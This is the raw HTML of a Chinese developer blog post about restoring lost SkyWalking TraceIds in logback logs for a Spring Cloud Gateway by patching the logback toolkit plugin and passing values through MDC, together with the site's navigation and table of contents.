010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">曲线救国</span></span></h3><div class="notion-text notion-block-4efa436df5504edaac488e6d733d8753">gateway也就拦截器打印点日志,要不然就是exceptionHandler中打印。我要不然直接把这个值传给skywalking-logback插件就完了嘛。拿什么传呢,对的,使用MDC来传,同一个线程都可以传,并且改动最小。直接修改插件中PrintTraceIdInterceptor的源码如下,然后直接打包这个8.7的skywalking-logback插件替换掉原本apm-toolkit-logback-1.x-activation-9.0.0.jar插件(完全可用)</div><div class="notion-text notion-block-5df9de5ce4184045ad9b5003dbc43a99">然后再搞一个工具类</div><div class="notion-text notion-block-eaafbb80be834ef392b11df503ffe4f0">然后在gateway拦截器日志打印的地方加上以下代码,但是请求开始和请求结束是两个不同的线程啊,无法使用MDC来传递,架不住打印日志的地方都使用的一个exchange,当然为了保险你可以在每一个gatway模块的log之前加上以下语句</div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-819553b3aee84c8eba690120fe69cbd4" data-id="819553b3aee84c8eba690120fe69cbd4"><span><div id="819553b3aee84c8eba690120fe69cbd4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#819553b3aee84c8eba690120fe69cbd4" title="验证"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">验证</span></span></h3><div class="notion-text notion-block-2da2c502dcea4989b49712bc4a5cf52b">gateway日志</div><div class="notion-text notion-block-0e05852c3ee24087a1263de4e0942a19">user日志</div><div class="notion-text notion-block-19073c4d640d46219e5c56a99d0255dc">确实可用,完美解决</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-65fc421bdc9a4a4cb3b1739e002e5d8d" data-id="65fc421bdc9a4a4cb3b1739e002e5d8d"><span><div id="65fc421bdc9a4a4cb3b1739e002e5d8d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#65fc421bdc9a4a4cb3b1739e002e5d8d" title="总结"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">总结</span></span></h2><ul class="notion-list notion-list-disc notion-block-fc0bc6073ddb47e6879b5229ae258f71"><li>就是把apm-toolkit-logback-1.x-activation插件改了点代码替换掉</li></ul><ul class="notion-list notion-list-disc notion-block-f056809107d143b39a5211cd0d74650d"><li>然后在gatway模块的日志前面用MDC传了点值进到插件里面</li></ul><ul class="notion-list notion-list-disc notion-block-31887616fe3243df97c9f850a7201f22"><li>相当取巧,因为gatway也没啥日志</li></ul><ul class="notion-list notion-list-disc notion-block-065453d6fec445d0a4a68ddd1d07b18c"><li>目前看来没什么问题</li></ul><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-19e3bbae2412427bb58b07013f336d4e" data-id="19e3bbae2412427bb58b07013f336d4e"><span><div id="19e3bbae2412427bb58b07013f336d4e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#19e3bbae2412427bb58b07013f336d4e" title="写到最后"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">写到最后</span></span></h2><div class="notion-row notion-block-2fb486a574f64bcfbf783f7142f7c121"><div class="notion-column notion-block-e9db490b9be94524ac7f9c3bf6f28f3d" style="width:calc((100% - (2 * min(32px, 4vw))) * 0.25)"><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-749d46cca88a4a77b6d8d3a95fb2d652"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fe74a26b9-10d9-49f3-9ea7-bcb2a1438bd7%2Ffavicon.png?table=block&amp;id=749d46cc-a88a-4a77-b6d8-d3a95fb2d652&amp;t=749d46cc-a88a-4a77-b6d8-d3a95fb2d652" alt="notion image" loading="lazy" decoding="async"/></div></figure></div><div class="notion-spacer"></div><div class="notion-column notion-block-e4bbc214298b4a2d926999ef87b4e872" style="width:calc((100% - (2 * min(32px, 4vw))) * 0.34601449275362306)"><div class="notion-text notion-block-cb6641a2dc674250a68f06f20d4e5856"><em>
+<!DOCTYPE html><html lang="zh-CN"><head><title>解决SkyWalking在gateway中logback链路丢失 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="推荐,开发,日志,微服务,spring,skywalking"/><meta name="description" content="一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="解决SkyWalking在gateway中logback链路丢失 | Both Savage"/><meta property="og:description" content="一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。"/><meta property="og:url" content="https://bothsavage.github.io//article/240121-skywaking"/><meta property="og:image" content="https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。"/><meta name="twitter:title" content="解决SkyWalking在gateway中logback链路丢失 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="技"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">解决SkyWalking在gateway中logback链路丢失</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-026c5c2136044c0aa13cccb9208e4815"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-table-of-contents notion-gray notion-block-84e0b4e44d094735852f62349007a189"><a href="#b267e4d3fa9749ee869b7703ce772c53" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">契机</span></a><a href="#2ec1c825217c429bafee6caa19a43975" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">场景复现</span></a><a href="#f6a2e306a7904fcbaf1294ccdb9d0d7f" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">版本</span></a><a href="#9664075baae9443c947fc212527f54e8" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">skyWalking环境搭建</span></a><a href="#9fc64fb0a43a4bdfb9dd61425023bb8c" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">agent目录配置</span></a><a href="#e043a3848bde4de79a5037602c2ed361" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">maven依赖</span></a><a href="#c4c8d23c69ee490b9a740eeb131c14fb" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">项目运行配置</span></a><a href="#b4ef4f0c8378421ca55f90c3a012fe29" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">logback配置</span></a><a href="#0166e46c5c22492485c8358ee4206ae2" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">gateway模块请求日志打印代码</span></a><a href="#4fdd346fce9949d6a7c7728734284e76" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">user模块测试代码</span></a><a href="#733c637e92ba488987a7f84308daeb66" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">访问测试</span></a><a href="#97e7928fbe5143d0b14d05127bbeff35" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">尝试解决</span></a><a href="#e325c70ef58c478c90b8eccec3b5d808" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" 